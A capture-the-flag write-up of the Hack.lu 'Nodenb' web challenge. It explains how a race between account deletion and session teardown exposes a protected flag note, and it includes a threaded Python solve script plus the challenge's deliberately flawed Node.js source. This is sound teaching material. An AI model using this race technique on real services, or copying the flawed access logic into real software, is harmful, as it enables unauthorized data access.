Hack.lu CTF - Nodenb

Share on:

Overview

Writeup by: andyandpandy

Solved by: andyandpandy, Hako

Writeup

The challenge has a race condition vulnerability, where you can delete your user and rapidly after send another request for the flag, which is successful when timed correctly.

Description

Web challenge

Challenge author: pspaul/SonarSource

To keep track of all your trading knowledge we wrote a note book app!

Source files: nodenb.zip.

https://nodenb.flu.xxx

This is a guest challenge by SonarSource R&D.

Exploit

So first step is identifying where is the flag.

Initially in the db.js it is set as a note with the nid (note id) flag

// db.js
db.hmset('note:flag', {
    'title': 'Flag',
    'content': FLAG,
});

If we want to see the note we have to pass a check saying that we are allowed to see it

// server.js
if (!await db.hasUserNoteAcess(req.session.user.id, nid)) {
    return res.redirect('/notes');
}
// db.js
async hasUserNoteAcess(uid, nid) {
    if (await db.sismember(`uid:${uid}:notes`, nid)) {
        return true;
    }
    if (!await db.hexists(`uid:${uid}`, 'hash')) {
        // system user has no password
        return true;
    }
    return false;
},

So if it is a part of our notes we can see it or if our uid does not have a hash we are allowed to see it.

The first part is irrelevant, but the second is interesting.

The deleteme endpoint is what we can exploit. Essentially, it performs the db.deleteUser and thereafter kills the session. The db.deleteUser retrieves the user, removes user, uid, then gets the session and the uid’s notes, and deletes each of them after mapping them.

// server.js
app.post('/deleteme', ensureAuth, async (req, res) => {
    await db.deleteUser(req.session.user.id);
    req.session.destroy(async (error) => {
        if (error) {
            console.error('deleteme error:', error?.message);
        }
        res.clearCookie('connect.sid');
        res.redirect('/login');
    });
});
// db.js
async deleteUser(uid) {
    const user = await helpers.getUser(uid);
    await db.set(`user:${user.name}`, -1);
    await db.del(`uid:${uid}`);
    const sessions = await db.smembers(`uid:${uid}:sessions`);
    const notes = await db.smembers(`uid:${uid}:notes`);
    return db.del([
        ...sessions.map((sid) => `sess:${sid}`),
        ...notes.map((nid) => `note:${nid}`),
        `uid:${uid}:sessions`,
        `uid:${uid}:notes`,
        ]);
}

So the hypothesis was that we should be able to delete a user, then send a request right after to /notes/flag and retrieve the flag because our uid would not have a hash, thereby passing the checks from hasUserNoteAccess, which permits the retrieval of the note whilst our session token remains alive. This all has to happen after our uid is deleted but before our session is killed, which is a relatively small timeframe.

To test our theory we ran it locally and added a big setTimeout to the db.deleteUser and tried it out so essentially it wouldn’t finish before we had requested the flag. Our theory was correct and we were able to retrieve the flag. So now that we know this is the case we continued to adjust our exploit to a few milliseconds of delay before performing the retrieval of the flag.

To make the retrieval of notes a bit slower in the db.deleteUser we created a large amount of notes thereby, in theory giving us a higher chance of timing it correctly.

There was a slight difference between running locally and remotely but by tweaking the amount of notes and delay we were able to get the flag.

Solve script

Final solve.py looked like this:

import requests
from random import randint
from logging import debug, DEBUG, info, INFO, basicConfig, error, getLogger
import threading
from time import sleep

s = requests.Session()

#basicConfig(level=DEBUG)
basicConfig(level=INFO)

requestlogs = getLogger("urllib3")
requestlogs.setLevel(INFO) # ignore urllib3 debugging
requestlogs.propagate=False

#host = "http://localhost:3000"
host = "https://nodenb.flu.xxx"

headers = {"content-type": "application/x-www-form-urlencoded"}
uid = randint(0,10000)
username = f"andy{uid}"
body = f"username={username}&password=password"

resp = s.post(f"{host}/register", data=body, headers=headers)
if resp.status_code != 200:
    error("Failed to register")
    exit(42)

debug(f"Registered user: {username}")

debug("Authenticating..")
resp = s.post(f"{host}/login", data=body, headers=headers)
if resp.status_code != 200:
    error("Failed to authenticate")
    exit(43)

info(f"Authenticated user: {username}")

big_text = "A" * 1000 # Hopefully helps with load time from redis
note_body = f"title={big_text}&content={big_text}"
noteCounter = 0
noteNo = 600

info(f"Creating {noteNo} notes..")
def create_note():
    global noteCounter
    resp = s.post(f"{host}/notes", data=note_body, headers=headers)
    if resp.status_code == 200:
        noteCounter += 1
        debug(f"Successfully created note: {noteCounter}")

threadies = [threading.Thread(target=create_note, daemon=True) for _ in range(noteNo)]
[t.start() for t in threadies]
[t.join() for t in threadies]

info(f"{noteCounter} notes created")
info(f"Attempting exploit..")

def deleteme():
    del_resp = s.post(f"{host}/deleteme", headers=headers)
    if del_resp.status_code == 200:
        debug(f"Successfully deleted user: {username}")

def get_flag():
    delay = 13
    debug(f"Small delay {delay} ms")
    sleep(delay/1000)
    get_flag = s.get(f"{host}/notes/flag")
    debug(f"Flag response: {get_flag.text}")

    if "flag" in get_flag.text:
        flag = get_flag.text[get_flag.text.find("flag{"):].split("<")[0] 
        info(f"Flag: {flag}")
    else:
        error("Failed to retrieve flag")

flag_threads = [threading.Thread(target=deleteme, daemon=True), threading.Thread(target=get_flag, daemon=True)]

[t.start() for t in flag_threads]
[t.join() for t in flag_threads]
Flag: flag{trade_as_fast_as_you_hack_and_you_will_be_rich}

Appendix: Most relevant source files

To shorten down source I have only included the docker-compose, server.js and db.js

All files in source can be seen below:

Tree of source

#Docker compose file:
version: '3'

services:
  app:
    build: ./src
    restart: unless-stopped
    ports:
      - "127.0.0.1:3000:3000"
    environment:
      HOST: "0.0.0.0"
      PORT: "3000"
      REDIS_URL: "redis://db:6379"
      SESSION_SECRET: "secret"
      FLAG: "fakeflag{dummy}"
  db:
    image: redis:6.2-alpine
    restart: unless-stopped
// server.js 
const dotenv = require('dotenv');
const express = require('express');
const morgan = require('morgan');
const session = require('express-session');
const connectRedis = require('connect-redis');
const hbs  = require('express-handlebars');

dotenv.config();
const { redisClient, db } = require('./db');

const die = (msg) => {
    console.log(msg);
    process.exit(1);
};

const HOST = process.env.HOST ?? '127.0.0.1';
const PORT = process.env.PORT ?? '3000';
const SESSION_SECRET = process.env.SESSION_SECRET ?? die('missing SESSION_SECRET');

const app = express();
app.use(morgan('dev'));
app.use(express.urlencoded({ extended: false }));

// views
app.engine('handlebars', hbs());
app.set('view engine', 'handlebars');

// session
const RedisStore = connectRedis(session);
app.use(session({
    store: new RedisStore({ client: redisClient }),
    secret: SESSION_SECRET,
    resave: false,
    saveUninitialized: false,
    cookie: {
        secure: false,
        httpOnly: true,
    },
}));

// flash
app.use((req, res, next) => {
    const { render } = res;
    req.session.flash = req.session.flash ?? [];
    res.render = (template, options={}) => {
        render.call(res, template, {
            user: req.session?.user,
            flash: req.session.flash,
            ...options,
        });
        req.session.flash = [];
    };
    res.flash = (level, message) => {
        req.session.flash.push({ level, message });
    };
    next();
});

app.get('/', (req, res) => res.render('index'));

app.get('/register', (req, res) => res.render('register'));
app.post('/register', async (req, res) => {
    const { username, password } = req.body;
    if (!username || !password
        || typeof username !== 'string' || typeof password !== 'string'
        || /[^\w]/i.test(username)) {
        res.flash('danger', 'invalid username or password');
        return res.status(400).render('register');
    }

    try {
        await db.createUser(username, password);
        res.redirect('/login');
    } catch (error) {
        console.error('create user error:', error?.message)
        res.flash('danger', `Error: ${error?.message}`);
        res.render('register');
    }
});

app.get('/login', (req, res) => res.render('login'));
app.post('/login', async (req, res) => {
    const { username, password } = req.body;
    if (!username || !password || typeof username !== 'string' || typeof password !== 'string') {
        res.flash('danger', 'invalid username or password');
        return res.status(400).render('login');
    }

    const user = await db.getUserByNameAndPassword(username, password);
    if (!user) {
        res.flash('danger', 'invalid username or password');
        return res.status(401).render('login');
    }

    await db.addSessionToUser(user.id, req.sessionID);
    req.session.user = user;
    res.redirect('/notes');
});

const ensureAuth = (req, res, next) => {
    if (!req.session?.user?.id) {
        res.flash('warning', 'Login required');
        return res.redirect('/login');
    }
    next();
};

app.post('/logout', ensureAuth, (req, res) => {
    const sid = req.sessionID;
    const uid = req.session.user.id;
    req.session.destroy(async (error) => {
        if (error) {
            console.error('logout error:', error?.message);
        }
        await db.removeSessionFromUser(uid, sid);
        res.clearCookie('connect.sid');
        res.redirect('/login');
    });
});

app.get('/notes', ensureAuth, async (req, res) => {
    const notes = await db.getUserNotes(req.session.user.id);
    res.render('notes', { notes });
});
app.get('/notes/:nid', ensureAuth, async (req, res) => {
    const { nid } = req.params;
    console.log("Called /notes/:nid " + nid);
    if (!await db.hasUserNoteAcess(req.session.user.id, nid)) {
        return res.redirect('/notes');
    }
    const note = await db.getNote(nid);
    res.render('note', { note });
});
app.post('/notes', ensureAuth, async (req, res) => {
    let { title, content } = req.body;
    if (req.query.random) {
        const ms = Math.floor(2000 + Math.random() * 1000);
        await new Promise(r => setTimeout(r, ms));
        res.flash('info', `Our AI ran ${ms}ms to generate this piece of groundbreaking research.`);
        content = 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.';
    }

    if (!title || !content || typeof title !== 'string' || typeof content !== 'string') {
        res.flash('danger', 'invalid title or content');
        return res.status(400).render('notes');
    }

    const nid = await db.createNote(title, content);
    await db.addNoteToUser(req.session.user.id, nid);

    res.flash('success', `Note ${nid} was created!`);
    res.redirect('/notes');
}); 

app.get('/me', ensureAuth, (req, res) => res.render('me', { user: req.session.user }));
app.post('/deleteme', ensureAuth, async (req, res) => {
    await db.deleteUser(req.session.user.id);
    req.session.destroy(async (error) => {
        if (error) {
            console.error('deleteme error:', error?.message);
        }
        res.clearCookie('connect.sid');
        res.redirect('/login');
    });
});

app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
// db.js
const { promisify } = require("util");
const redis = require('redis');
const { nanoid } = require('nanoid/async');
const argon2 = require('argon2');

const REDIS_URL = process.env.REDIS_URL ?? 'redis://127.0.0.1:6379';
const FLAG = process.env.FLAG ?? 'fakeflag{dummy}';

const redisClient = redis.createClient({
    url: REDIS_URL,
});
redisClient.on('connect', () => {
    console.log('Connected to redis');
});
redisClient.on('error', (error) => {
    console.log('redis error:' + error?.message);
});

const db = {};
const asyncBinds = [
    'get', 'set', 'setnx', 'incr', 'exists', 'del',
    'hget', 'hset', 'hgetall', 'hmset', 'hexists',
    'sadd', 'srem', 'smembers', 'sismember',
];
for (const key of asyncBinds) {
    db[key] = promisify(redisClient[key]).bind(redisClient);
}

// init
db.hset('uid:1', 'name', 'system');
db.set('user:system', '1');
db.setnx('index:uid', 1);
db.hmset('note:flag', {
    'title': 'Flag',
    'content': FLAG,
});

function sleep(ms) {
    return new Promise((resolve) => {
      setTimeout(resolve, ms);
    });
  }
const helpers = {
    async createUser(name, password) {
        const isAvailable = await db.setnx(`user:${name}`, 'PLACEHOLDER');
        if (!isAvailable) {
            throw new Error('user already exists!');
        }
        
        const uid = await db.incr('index:uid');
        await db.set(`user:${name}`, uid);

        const hash = await argon2.hash(password);
        await db.hmset(`uid:${uid}`, { name, hash });
        return uid;
    },
    async getUser(uid) {
        const user = await db.hgetall(`uid:${uid}`);
        if (!user) {
            return null;
        }
        user.id = uid;
        return user;
    },
    async getUserByNameAndPassword(name, password) {
        const uid = await db.get(`user:${name}`);
        if (!uid) {
            return null;
        }
        const user = await helpers.getUser(uid);
        if (!user) {
            return null;
        }
        try {
            if (await argon2.verify(user.hash, password)) {
                return user;
            } else {
                return null;
            }
        } catch (error) {
            console.log('argon error:', error?.message);
            return null;
        }
    },
    async getUserNotes(uid) {
        return db.smembers(`uid:${uid}:notes`);
    },
    async addNoteToUser(uid, nid) {
        return db.sadd(`uid:${uid}:notes`, nid);
    },
    async hasUserNoteAcess(uid, nid) {
        if (await db.sismember(`uid:${uid}:notes`, nid)) {
            return true;
        }
        if (!await db.hexists(`uid:${uid}`, 'hash')) {
            console.log("Passed check on hexists uid");
            // system user has no password
            return true;
        }else {
            console.log("Failed check on hexists uid")
        }
        return false;
    },
    async deleteUser(uid) {
        const user = await helpers.getUser(uid);
        await db.set(`user:${user.name}`, -1);
        await db.del(`uid:${uid}`);
        const sessions = await db.smembers(`uid:${uid}:sessions`);
        const notes = await db.smembers(`uid:${uid}:notes`);
        return db.del([
            ...sessions.map((sid) => `sess:${sid}`),
            ...notes.map((nid) => `note:${nid}`),
            `uid:${uid}:sessions`,
            `uid:${uid}:notes`,
        ]);
    },
    async getUserSessions(uid) {
        return db.smembers(`uid:${uid}:sessions`);
    },
    async addSessionToUser(uid, sid) {
        return db.sadd(`uid:${uid}:sessions`, sid);
    },
    async removeSessionFromUser(uid, sid) {
        return db.srem(`uid:${uid}:sessions`, sid);
    },
    async createNote(title, content) {
        const nid = await nanoid();
        await db.hmset(`note:${nid}`, { title, content });
        return nid;
    },
    async getNote(nid) {
        const note = await db.hgetall(`note:${nid}`);
        note.id = nid;
        return note;
    },
};

module.exports = {
    redisClient,
    db: helpers,
};